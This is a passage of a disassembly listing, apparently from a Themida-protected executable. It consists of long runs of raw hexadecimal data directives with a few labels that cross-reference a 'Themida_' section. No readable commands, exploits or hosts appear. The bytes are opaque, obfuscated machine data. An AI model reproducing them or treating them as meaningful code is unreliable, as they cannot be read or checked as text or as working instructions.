		dd 0BE2B047Eh, 0E165B8BAh, 10584Ch, 0CBFE05F2h,	7CE6D53Ah
		dd 0E714D4E0h, 4BA48D8Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E85219C3h, 0Fh, 5E1AE6CBh
		dd 3A252230h, 0F5CAA36Fh, 89BDB822h, 1032898Dh,	0B5095806h
		dd 6101D7Dh, 9F58D89h, 6A0610h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0E96057C3h, 8, 4BE7008Bh
		dd 0EB9E7E6Ch, 0DBF48061h, 231985C7h, 62600610h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0AB548FC3h, 5A1F77Ch, 0FE9ABh, 11320000h, 60CA64B2h
		dd 7FDD7883h, 0BA2F6A76h, 0C185C71Fh, 61022h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 2965C356h, 9A8C4255h, 310FD98Bh, 10106D8Dh
		dd 0EDB5FF06h, 6A061011h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 4122C355h, 9F03D4EDh
		dd 0FC58AB00h, 2DB995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 588B3BC3h, 44374F89h
		dd 95FF006Ah
		db 0C9h, 31h, 10h
byte_5D000F	db 6			; DATA XREF: Themida_:0054E6F4o
		dd 68EBC08Bh, 0FEDA4090h, 0AFE35BB2h, 9CA98B4Ah, 83A94881h
		dd 0BB466CD3h, 0E83462C8h, 3FB310A1h, 411276D7h, 23A6FBFDh
		dd 585CC37Dh, 0F3CBBD80h, 668192E1h, 0C7CA2532h, 8F561EE1h
		dd 0EF0D78D3h, 0DC014AADh, 682BCE00h, 0F8BE79AFh, 0A454CA00h
		dd 23D7025Fh, 0D87CFEFCh, 3E3613D3h, 6199DC48h,	349FD76Eh
		dd 2AC89337h, 88CB742Ah, 10EBh,	3 dup(0)
		dd 0C08B0000h, 158DBD83h, 75000610h, 95BD8309h,	61000h
		dd 53501974h, 2DB8C08Bh, 89000004h, 100E6585h, 159D8D06h
		dd 0FF0612B8h, 83585BD3h, 100095BDh, 17740006h,	2DB85350h
		dd 89000004h, 100E6585h, 49D8D06h, 0FF0612B5h, 0B585BD3h
		dd 102D7D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 4A0F0E02h, 8B3D43EBh, 8E9C0h, 0B66C0000h
		dd 0A764D570h, 8D8BCF16h, 6100B5Dh, 437DCE81h, 0F98365DEh
		dd 6A840F00h, 8B000000h, 1016AD95h, 3D8B6406h, 2Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C5C35545h, 50517968h
		dd 62B288EAh, 840FFF0Bh, 31h, 219D89h, 3F8B0610h, 9E8FCh
		dd 0BE670000h, 920742DEh, 66DF1677h, 0EF4E681h,	0E9C0325Eh
		dd 5, 0EA63B6B1h, 29AAF3B9h, 100B91B5h,	41493506h, 85C65350h
		dd 61023E5h, 0F98D8947h, 68061009h, 7399E022h, 5EF28B51h
		dd 0A240481h, 6A693CA8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 37D8C352h, 894C7057h
		dd 1016A18Dh, 45B5FF06h, 6A06101Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B2F7C357h
		dd 0D847995Ah, 0D2BA8E34h, 8D44C2FAh, 13858A85h, 51858906h
		dd 8B061021h, 102379B5h, 6AD0FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A31AC352h
		dd 0A90AED07h, 0D4D153FDh, 18A1B58Bh, 85890610h, 6100F95h
		dd 0EE9h, 0B9A40E00h, 985A8B6Dh, 41560839h, 0C64535D9h
		dd 1023E585h, 6A5306h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 5FEE5BC3h, 8691FCECh, 6800F5Dh
		dd 8B000000h, 102D0D95h, 0EE906h, 0A8EB0000h, 0A26CEF46h
		dd 682A1658h, 0C362B174h, 2A199D89h, 18680610h,	0BADBE5A0h
		dd 41A22692h, 0E4243481h, 1537DCAh, 101FED95h, 45B5FF06h
		dd 5606101Dh, 5ED2BF0Fh, 8A858DF9h, 6A061385h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 2353C356h, 8F0FF158h, 6, 2F69958Bh, 0D0FF0610h, 1FAD9D89h
		dd 858D0610h, 61345E6h,	9FAABE56h, 0F55E41F7h, 6B98589h
		dd 8E80610h, 39000000h,	75F29051h, 606B6289h, 89C68B66h
		dd 100D3D85h, 6A5A6106h, 0FFFF6A20h, 1006B995h,	41493506h
		dd 85C75350h, 6102969h,	1, 148D85C7h, 610h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B5205DC3h, 578F9A98h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0C3C35141h, 36E62F86h, 0BD858BEBh, 0E906101Fh
		dd 13h,	8288ACC4h, 66169C68h, 0A42E8449h, 0C70D4059h, 6413607Ah
		dd 0A3h, 5AA3BE00h, 0BD831A33h,	6103105h, 77840F00h, 0E9000000h
		dd 12h,	0A263AE3Ch, 22108AF5h, 50BF78C5h, 97AB2DE8h, 858B902Dh
		dd 6100849h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	8DC35747h, 0F30996FBh, 0B9D6813Fh, 8B734C35h, 50006AE0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FE97597h, 8B000000h, 778480C9h, 0C17F1EC8h,	0EA65C71h
		dd 0BD83282Bh, 610116Dh, 55850F00h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 29CEC351h, 7B9010C8h, 7E985h, 778A0000h, 0C792777Eh
		dd 0E585C679h, 56061023h, 8468D38Bh, 0BEC35577h, 4D24912Ch
		dd 5B243481h, 6A6A9047h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 8DE2C352h, 81403592h
		dd 0CA81D1EAh, 45B5FF33h, 0F06101Dh, 858DF6BFh,	613858Ah
		dd 0FFCED680h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 9D5ECA6h, 100B71B5h, 5DB58B06h
		dd 9006101Eh, 505081B2h, 66310F52h, 5A4A78BAh, 8D8D9058h
		dd 61015A5h, 469AAFBEh,	65958921h, 91061020h, 5E857h, 0F7C70000h
		dd 66C57F02h, 5A5031BEh, 8E9505Ah, 7E000000h, 0E1E1C0BBh
		dd 919D71B0h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	1DC35141h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 666031C3h, 47EBD781h
		dd 565BD01h, 68610610h,	0EA3D5F02h, 81D08B66h, 0B0FE2404h
		dd 858915C2h, 61030D1h,	1FD5B5FFh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 17E7CCC3h
		dd 50B4C178h, 0B960DF37h, 2D4DDE25h, 61F8BF0Fh,	11E8h
		dd 4527300h, 5B05118Fh,	12E538ECh, 0D36FAA2Eh, 0BE8C158h
		db 3 dup(0)
byte_5D05EF	db 46h			; DATA XREF: Themida_:0054D748o
		dd 0A04AF3Dh, 849E815Ah, 6E98185h, 13000000h, 84321F7Ch
		dd 505A5E99h, 12E8h, 3B56E200h,	68088B0Bh, 0F3379462h
		dd 2BF1542Dh, 18BF315h,	1022DDB5h, 0FF5A5A06h, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8A0F150Bh, 0Ch, 6850Fh, 958B0000h, 6100729h,	8BB6F680h
		dd 101FD5BDh, 1DB58B06h, 3061020h, 0D08B3C7Fh, 0F8C781h
		dd 9D890000h, 6100E21h,	202447C7h, 0F600000h, 8Ah, 13BD8300h
		dd 6184Ch, 111840Fh, 95030000h,	6103161h, 5628C783h, 7C75AF9h
		dd 64696A2Eh, 25958B60h, 6606101Fh, 0C761FB8Bh,	74610447h
		dd 0F600061h, 688h, 1D958900h, 89061020h, 100089BDh, 0B58B6106h
		dd 6100255h, 4C1B858Bh,	0F08B0618h, 6A0C4789h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B780C352h, 5217CC5Ch, 249BD89h, 295A0610h, 10211D8Dh
		dd 1F858B06h, 8906184Ch, 1001319Dh, 9E806h, 7A0A0000h
		dd 0D195A6D5h, 8161A9A6h, 159694F2h, 47895E03h,	0D18B6608h
		dd 6628C783h, 9533F28Bh, 6103161h, 632E07C7h, 0E6816E6Fh
		dd 5184DA6Bh, 660447C7h, 89006769h, 102F7195h, 17858B06h
		dd 6A06184Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 920BC355h, 885CD333h, 0C478952h
		dd 13858BFCh, 3106184Ch, 1029F985h, 8478906h, 8C0FF560h
		dd 4, 0EC1EBA66h, 0E5B53361h, 58061030h, 8D8D5A52h, 6102EA5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 94C35646h
		dd 3356B86Dh, 102781B5h, 0E9505A06h, 0Bh, 3E1106ABh, 3E936DF1h
		dd 8928C903h, 6A240Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 53EE51C3h, 2861B58Bh, 0E95E0610h
		dd 0Dh,	0F7434571h, 0E6DB188Eh,	0FB4AFF6Ah, 0A5B5FF45h
		dd 8B061015h, 100A95B5h, 86F6806h, 0AE940F3h, 83000000h
		dd 829AADFFh, 0CF400BD2h, 24348132h, 40F3186Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0E807F84Bh
		dd 69B50B7Ah, 0FF061031h, 101FD5B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 14BCB2D9h
		dd 29639D6Fh, 101D51B5h, 0C1806006h, 0C58503A7h, 61061009h
		dd 958BD0FFh, 61010BDh,	0B8h, 0BD38B00h, 24840FC0h, 8B000000h
		dd 10276DB5h, 8DB5FF06h, 0E9061030h, 7,	0A1645F36h, 0FFC370B4h
		dd 102DB995h, 51B50106h, 8B061031h, 41B533C0h, 83061002h
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535019h
		dd 42DB8C0h, 85890000h,	610132Dh, 0B87C9D8Dh, 0D3FF0612h
		dd 0BD83585Bh, 6100095h, 50177400h, 42DB853h, 85890000h
		dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 9589585Bh,	6101F9Dh
		dd 68C0Fh, 0E6810000h, 48EE748Dh, 8166C08Bh, 661B36E6h
		dd 0C08BF78Bh, 0BE9h, 5F41C200h, 18h, 0
		dd 53DE9h, 53963800h, 71A860D7h, 4E873EBDh, 6BA85BDAh
		dd 85C468EFh, 35A7E3C9h, 61D85493h, 3CBB6FB0h, 88F4B86h
		dd 0BBAE2A5Fh, 2878CAC1h, 3F9C6BD4h, 44793275h,	0BD973950h
		dd 36F2CE09h, 1FD308BFh, 1520204Dh, 0A159BB33h,	23580FCCh
		dd 79B0586Fh, 805A0E8Dh, 81E591C8h, 711AB165h, 0CE75483Ch
		dd 2A989337h, 0CA6DCCDFh, 897724Eh, 0EA1FC869h,	843E76Eh
		dd 0E621C554h, 0A9EA9B3Ah, 255C04D7h, 0B54C5648h, 3873171Eh
		dd 7E4EF584h, 0C0B490C5h, 0CCDF2C99h, 2DC4F36Dh, 6A9305C8h
		dd 3DE67533h, 877BBC6Dh, 57DBC7ABh, 76CE82h, 0D73C0000h
		dd 7C4002A9h, 0C8A46DCCh, 7C4FF3B6h, 0CBA76DCCh, 407E25AEh
		dd 0EEFC0A57h, 0A24E729Fh, 0CC8D4DF3h, 56EDCE6Dh, 6A453A93h
		dd 13C1AA33h, 0C0D044BCh, 1011B794h, 2F000000h,	70E85A51h
		dd 100C6DCCh, 0C8BCF399h, 32B58F6Ch, 0DD4F437Ah, 52700DF0h
		dd 6E8BCCD1h, 1C083FE5h, 0B6F59722h, 0CA9166CAh, 813CE825h
		dd 0EAA28322h, 6E2299B3h, 15A41A2Fh, 0E785396Eh, 225F04D7h
		dd 9BDA8E45h, 0F838F0E7h, 5E0E9449h, 2EE2FE37h,	8AAB4A59h
		dd 4933A7E6h, 33CE7437h, 0F5F16DCCh, 26C966B3h,	0D087E39Bh
		dd 4F0CE118h, 77896398h, 0CC2B0EB4h, 6D8AE66Dh,	3A731AB1h
		dd 0CF661D46h, 8C36F50Bh, 686DCC2Bh, 0F528EF0Ch, 0D5336ADCh
		dd 73h,	6104D737h, 0B0557420h, 0B57E5B77h, 4E20D413h, 0F29ED58Bh
		dd 2BE2596Eh, 546BFEF2h, 0EFA219BDh, 9D9BC2A5h,	0F332731h
		dd 71EAFF63h, 0F2CC80BFh, 9A91C467h, 6DCC2D28h,	807450CCh
		dd 580CC7A4h, 0B96E6D19h, 0A4DF887Ch, 0E335E80Dh, 4C15336Ah
		dd 77000000h, 533F7E32h, 0D7AB62D9h, 290DF932h,	0FFA3304Dh
		dd 7E2FAAC4h, 8B5E203Dh, 70141DB4h, 32EF7D31h, 84F437Ah
		dd 6DCC7CBFh, 0EEA2D790h, 7FB30D7h, 48740BB4h, 48CEFF81h
		dd 26970FFBh, 7C13A8C5h, 6A9F3879h, 11833h, 32720000h
		dd 0C605A77Bh, 2BDF56DAh, 0A920D4F0h, 6ED4D702h, 866DCC7Ch
		dd 0BBDAC6AAh, 0BFD6CA09h, 0A625D10Ah, 57DBC7FEh, 0F130CF70h
		dd 71E3FF40h, 4B0223C2h, 7CD56D1Ch, 35316DCCh, 0B1489D11h
		dd 0E389502Ah, 0BD7CF8ACh, 0E4FCD106h, 0FC06C425h, 0CBBEA067h
		dd 94238A77h, 30E425C8h, 7DD73C34h, 147AE2ECh, 39E9FEE2h
		dd 0F398233Dh, 612FF6ADh, 668AD5DEh, 4DF69591h,	6E15A418h
		dd 0A61E4D39h, 9B94233Bh, 1BC46D04h, 3CE372E6h,	0C37C1B07h
		dd 7E47D585h, 6185F8E3h, 5E80D8B5h, 234717ABh, 34D8EF94h
		dd 27FCD1F5h, 0CD02A988h, 0FA834E11h, 7163397Bh, 0A9000001h
		dd 1D15BD5Ch, 0C2FFA4BDh, 24C84095h, 4E7B2E40h,	7667FCC5h
		dd 0C521A188h, 69C5943Ch, 0B8928E94h, 0C55FE3A6h, 0BBB7943Ch
		dd 0C558EAA1h, 60BC943Ch, 43FC9B8Bh, 33522805h,	0A6791Bh
		dd 9C5A1C5h, 0E1B3637h,	493C1344h, 0CB00A734h, 0D207C0D7h
		dd 0BB5A691Eh, 12E49C1Fh, 293E225Bh, 8C4F9B2h, 99823536h
		dd 6A8AF6DDh, 0DF93AEBh, 824B5429h, 62397B30h, 50h, 1AC15CA8h
		dd 7CD94940h, 0F2DBEDCCh, 0F2B5C9A6h, 0A16176EFh, 1C550CCFh
		dd 0A51D0C68h, 41EDCC54h, 461501E5h, 0EDCC54FCh, 0CC8322E1h
		dd 0D9D0AA31h, 6DCC5449h, 633DF16Dh, 54348E7Dh,	54D06DCCh
		dd 0B2CA77h, 0F5F60000h, 0DF00DE57h, 0C4607D5Ch, 110296D7h
		dd 1F6D3C59h, 22471D10h, 491E422Fh, 0ACBE1DBCh,	2A3F782Dh
		dd 81432856h, 7D16DE40h, 0A1DA8F46h, 94BADFCCh,	0D04C67FCh
		dd 0C9FEA524h, 467B24B7h, 3D01D65Ah, 50C705BEh,	0ACE307AFh
		dd 0EAB16581h, 943CBD5Fh, 8D942B14h, 0D82DA1D6h, 0C9C09A41h
		dd 9E046E43h, 0DCFBA783h, 2DCEE23h, 1416BB07h, 0BE645B9Eh
		dd 9C8A5F83h, 630F48FDh, 9A86BB64h, 9B21C0DFh, 64FB9A29h
		dd 8A748655h, 0A04818CFh, 0B3708D69h, 942CBB35h, 3E7B30ABh
		dd 9F9CE52h, 0B99EDF92h, 10167D45h, 0B8745099h,	71B253E6h
		dd 0CCA185h, 4C1EBD5Ch,	0F4D1DF5Dh, 0F09BC567h,	942BD052h
		dd 0E1A1B6B2h, 51FA9185h, 7219A01Ch, 64F7493Dh,	0BA7186BBh
		dd 0F660BB5Eh, 4CD56C53h, 6BEA5E93h, 0F4937FB4h, 745E124Fh
		dd 1DA5647Ah, 32B66CECh, 0D34F437Ah, 992A3F1Bh,	4F843BFAh
		dd 6EA35CDBh, 31182h, 5F6B0000h, 3D80326Dh, 64995249h
		dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h
		dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 56000000h
		dd 4BEh, 5EF22900h, 5C241487h, 7D3368h,	24048900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 68242C89h, 61854FAh, 8324048Bh
		dd 0A06804C4h, 89000006h, 4832424h, 515D0424h, 8B9h, 52E90100h
		dd 1189C289h, 2C8B595Ah, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 2434FF5Ch, 4C48158h, 0E9000000h, 0FFF8263Ch
		dd 6226165Ch, 0B7B86932h, 3061859h, 61E0FFC5h, 75620362h
		dd 0C6274EC9h, 813A57BEh, 521F334Ah, 9A124F4Eh,	5123F475h
		dd 73727A96h, 0B172DAFFh, 276A7803h, 0AC096F8Bh, 0FD29B2E2h
		dd 781E4640h, 871DA668h, 566FFF26h, 5620D338h, 97755D2Dh
		dd 2E2D5CECh, 552ECFB0h, 0E9539356h, 24h, 171E1911h, 8 dup(0)
		dd 545E9h, 93D67800h, 0B1E8A017h, 8EC77EFDh, 0ABE89B1Ah
		dd 0C504A82Fh, 75E72309h, 0A11894D3h, 7CFBAFF0h, 48CF8BC6h
		dd 0FBEE6A9Fh, 26B80A01h, 7F5C6BD4h, 0DD468469h, 7A26EE11h
		dd 4D7C75Dh, 9DD68B5Bh,	94698DE9h, 37EB20C7h, 5D12ECA0h
		dd 0D4F07420h, 9D25E4FAh, 796DCC7Ch, 8456E0FDh,	2DD90EB5h
		dd 7CEA5853h, 0E0A6DCCh, 0E59E1532h, 691B9EB0h,	0DDFA762Ah
		dd 0CC01AA21h, 65DDCCB2h, 816DCC7Ch, 0BFD6C8A5h, 58933709h
		dd 0CEF5887Ch, 35EE37h,	0DE19CD4Ch, 0FC37EB6Ah,	4E09108h
		dd 0C2802B60h, 226DCC7Ch, 0F8AB2A46h, 876BC7BBh, 0D9637875h
		dd 5ED902F8h, 780B9D89h, 77B258D9h, 568B34C3h, 6042FBAAh
		dd 0F6C56DCCh, 1A579A5Fh, 5437336Bh, 95000000h,	50447932h
		dd 6DA65BDEh, 7C2D9390h, 0CDEE6DCCh, 365AB336h,	13A336Bh
		dd 90000000h, 4F437A32h, 0AD599038h, 483C792Eh,	0AE629D51h
		dd 4A367517h, 0C60AA958h, 0EC35CCF3h, 0BA41FD34h, 7E60DC11h
		dd 0AF0C164Dh, 53CFC3F8h, 0D6138666h, 0B96DAE5Fh, 3204A0BDh
		dd 34533F7Eh, 0ECA1558Ch, 57F938D7h, 6E15A418h,	974E4D39h
		dd 1E51EC3h, 6DEC4415h,	0D76C81B6h, 661B9E38h, 0E0FD792Dh
		dd 6B33E617h, 71C633h, 0D7040000h, 0E2866004h, 4FD3BFA3h
		dd 0D00FC17Ah, 0C700A524h, 60FFA0DBh, 5CD00FC1h, 3C14B782h
		dd 7C284C85h, 0B458E3F8h, 650A8175h, 0DE835628h, 5875F1A5h
		dd 0B883FDA6h, 4126DA0Fh, 8B1D903Ah, 0E4F9DD79h, 7C45A03Fh
		dd 5C336AA0h, 62h, 0A47E32AEh, 50D4C001h, 65098074h, 9C83762Ah
		dd 29681C05h, 26B5CBB5h, 0EC564580h, 86DCC7Ch, 0D7754F2Ch
		dd 74206104h, 0A860DBF0h, 7C32907Bh, 56D26DCCh,	66DF867Ah
		dd 0A96DCC7Ch, 4002A9D7h, 0A46DCC7Ch, 173B7C2Dh, 27C26142h
		dd 336B35E6h, 0DC6h, 0DA93B800h, 744E751h, 0EDDB73E2h
		dd 7B323410h, 2DC4E42h,	7C952DDCh, 0F5716DCCh, 0CC7CBC06h
		dd 2DC586Dh, 0CC7CBB07h, 0EAFF5B6Dh, 9185BA71h,	4CD56C07h
		dd 0FEE05C95h, 4C0313CDh, 2439C523h, 1A032C1h, 0F27E560Fh
		dd 41E802DEh, 67FC3DD8h, 0BB7728Ch, 24943C4Dh, 0D551457Ch
		dd 0E68A411Dh, 54D0D2A7h, 4D8229A0h, 2C610A91h,	0A8E38752h
		dd 0A36378FCh, 3C4D4CF4h, 83220194h, 9AB4E9A2h,	0BD1F9AB1h
		dd 76174DAEh, 1E54135h,	3CE372ECh, 9A211B07h, 69CDB9F4h
		dd 0F520C794h, 1AA2200Bh, 0E642943Ch, 3C1A833Fh, 0B86C6394h
		dd 0CDA98D79h, 2A9D7A9h, 943C1A40h, 3A45256Fh, 9F4F8415h
		dd 51458428h, 2CDFF1D5h, 943CCA96h, 29D5F26Eh, 71B04F74h
		dd 0F06B85BAh, 73EB0039h, 7A8065A8h, 1254539h, 5C870000h
		dd 5D4C1EBDh, 67FC266Ch, 12B38658h, 5A4125D1h, 9423AAE8h
		dd 473B100Ch, 0DE277DE2h, 0D3ADB2Ah, 13138A48h,	792D499Eh
		dd 0B874A962h, 11BA8A41h, 8D0CF8DCh, 98F5A1D6h,	1EC56C03h
		dd 0BB8A38F3h, 0EE6A9423h, 478456D2h, 0D3ACDFA7h, 4564890Bh
		dd 0D5C31276h, 0F6B7C09Dh, 66397BEEh, 0B45A2ED3h, 0CDA98D79h
		dd 0C8805DD9h, 27h, 1AC15C42h, 7CD94940h, 21FDEDCCh, 7C9C2675h
		dd 8241EDCCh, 8A516CE3h, 7C29B970h, 51CD6DCCh, 916CDDh
		dd 5CE00000h, 0A6DD83BDh, 90F9B0CAh, 5467FC0Ch,	93C37F2Ah
		dd 47239423h, 0F47032h,	6BE3D2Eh, 0DDCA8399h, 578C3300h
		dd 5ED4F9E3h, 1025F984h, 0FAB12A3Fh, 574B822Ah,	0E8E5F7DBh
		dd 1587D7D4h, 88765331h, 230C66E1h, 0AF46DD94h,	34A8DD86h
		dd 0CD75344Ah, 2994230Ch, 0CEC2FBB2h, 0C596E52h, 2DDCEEEDh
		dd 9E1BA600h, 576E22FEh, 7F617BB0h, 1B69368Ch, 0D352CE9Eh
		dd 28D6F330h, 0EF6C03BEh, 620EEAE8h, 0EFA36D4Dh, 2512F9D3h
		dd 0E19423C0h, 5C43C985h, 5D4C1EBDh, 67F4D670h,	0FD3AED6Ch
		dd 4A502D09h, 0FCA322CEh, 0DB8413C7h, 0B2ABFAA6h, 69E52153h
		dd 0D17ABB5Ah, 5A506F93h, 144D7AB3h, 0B02C480Eh, 1B580BCEh
		dd 99CE753Eh, 595A93EDh, 13A6FAB2h, 337931B5h, 54D01406h
		dd 0D6F334D5h, 19D2AA5Dh, 6BEE00E4h, 8BE7DB6h, 805DD9CDh
		dd 9F1A147Eh, 99AAFECh,	47E9706Ah, 43181C08h, 1E9ACF78h
		dd 0C7BBF097h, 0CDEh, 215F2E00h, 2C2A2F2Ch, 0ADCAE896h
		dd 3D803217h, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h
		dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 1468CF55h
		dd 8900002Ch, 6E68240Ch, 8900007Bh, 6A68243Ch, 89000003h
		dd 3CBF242Ch, 525D2714h, 230923BAh, 81D2F767h, 8D6CCDC2h
		dd 95C28173h, 291F44C7h, 0F74F5AD7h, 3E7C1DFh, 587FEF81h
		dd 0EF8165CDh, 85B04DFh, 4EC81h, 24890000h, 24048124h
		dd 4, 4EC835Dh,	0BA241489h, 8, 3A89EA01h, 242C8B5Ah, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 52243C8Bh, 0C281E289h, 4
		dd 8704C283h, 0E95C2414h, 0FFF82070h, 6BB862D4h, 306185Fh
		dd 91E0FFC5h, 9B16540Bh, 0E1012CD7h, 0AA3AEACBh, 0C823F196h
		dd 5B33D13Fh, 41680ACAh, 0E423362Bh, 4D1466B8h,	3C146728h
		dd 0AE0ABA3Ch, 6336C7C3h, 0A21373E0h, 0F503C020h, 8A5C8A2Ah
		dd 10510372h, 2201F787h, 0C534404Bh, 780A0D9Ah,	0BF41C910h
		dd 5068961Eh, 0E8762646h, 2D0C19C1h, 0AB687ADCh, 970E670Bh
		dd 2D68A9CDh, 0E81018B3h, 0Eh, 0B10CE1A5h, 0BF03B48Ah
		dd 0C11A4B35h, 8A0F15C6h, 5, 2C5624BAh,	9E95B40h, 0ED000000h
		dd 393E89D9h, 58EDDDC6h, 5EAEC381h, 0C0810000h,	58505A5Bh
		dd 0CB8AF62Bh, 801E34FFh, 665F47C5h, 0EF81C38Bh, 1ADF19B6h
		dd 0C781D38Ah, 76E0950Eh, 81D1B70Fh, 1818BBEFh,	0F8E0F3Dh
		dd 0E9000000h, 0Ah, 8EDF2232h, 0ACABA4B0h, 3C89D741h, 81D48033h
		dd 8304F680h, 0C88B04EEh, 0A1E8FE81h, 850FFFFFh, 0FFFFFFB0h
		dd 9E8h, 23400F00h, 9643EEF7h, 0BF0F8281h, 8D8D59C8h, 61861E1h
		dd 9F58D89h, 0F9F90610h, 231985C7h, 6E100610h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 9C7101C3h, 8C7FF3C9h, 65B58B01h, 0C7061009h,	1022C185h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 5790DCB1h, 95DF8193h, 66569EEAh
		dd 0B5FFF38Bh, 6100865h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0E2C35646h, 8E955D1h,	0FA000000h, 9EE43CE3h
		dd 0FFB8CDF1h, 102DB995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 78917644h
		dd 0FF006AABh, 1031C995h, 0EBC08B06h, 0AB4B8459h, 799797C5h
		dd 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 450697FEh,	79F64E12h
		dd 3E140D67h, 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h
		dd 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h
		dd 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h,	6C4E0841h
		dd 8D8D30F3h, 61862F4h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 75C35646h, 850BDB8Dh,	6100159h, 9F58D89h
		dd 8D290610h, 6101069h,	231985C7h, 5EF80610h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9509BAC3h, 6102361h,	31A59D89h, 85C70610h, 61022C1h
		dd 0
		dd 2D01BD29h, 0B5FF0610h, 6102821h, 0B995FFF5h,	6A06102Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 57E5C350h, 0DB19B88Eh, 95895671h,	6100CA9h
		dd 95FF006Ah, 61031C9h,	4AEBC08Bh, 7A3F60F6h, 0C9F9FA8h
		dd 0D0F64717h, 6DD4B708h, 9187C9F8h, 87FC9A7Fh,	8002FEAAh
		dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 7B4077ECh
		dd 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch, 0D3AD3B1h, 113C9EA9h
		dd 6EF9FC94h, 11E8C59Fh, 0B8000000h, 9D307FC7h,	5924EF4Eh
		dd 6DCDFC0h, 9A99E8Ch, 1CA59D8Bh, 0F580610h, 68Bh, 359D8B00h
		dd 81061016h, 6292C0h, 81B58B00h, 0B9061010h, 41B7B827h
		dd 0A04BF181h, 6E841B7h, 90000000h, 0DFB64522h,	0ED9D8BB2h
		dd 5E061027h, 0F781388Bh, 48A44C27h, 20E1958Bh,	0EF810610h
		dd 73E785CBh, 30E68166h, 7DC78189h, 0F5634EC7h,	0C7EE8157h
		dd 8F0A2C71h, 59958900h, 81061021h, 0CBD1E4E8h,	6E87Bh
		dd 16370000h, 31677D9Fh, 15D58D29h, 815A0610h, 0CBD1E0C0h
		dd 68D0F7Bh, 8B000000h,	1010D59Dh, 1E98306h, 1C850Fh, 0B5890000h
		dd 61001EDh, 2CE9h, 0C1284E00h,	20B84F44h, 0DD983E86h
		dd 6261455Fh, 8B663713h, 0FF7AE9D8h, 0D44AFFFFh, 43BFE176h
		dd 0F2A397B1h, 0DFA3B296h, 0E91F3959h, 0FF8D8D91h, 0E9061864h
		dd 9, 9805FCE0h, 2703DCCAh, 0F58D899Eh,	6A061009h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8A22C356h, 1985C7FCh, 0E0061023h, 6A00005Ah,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
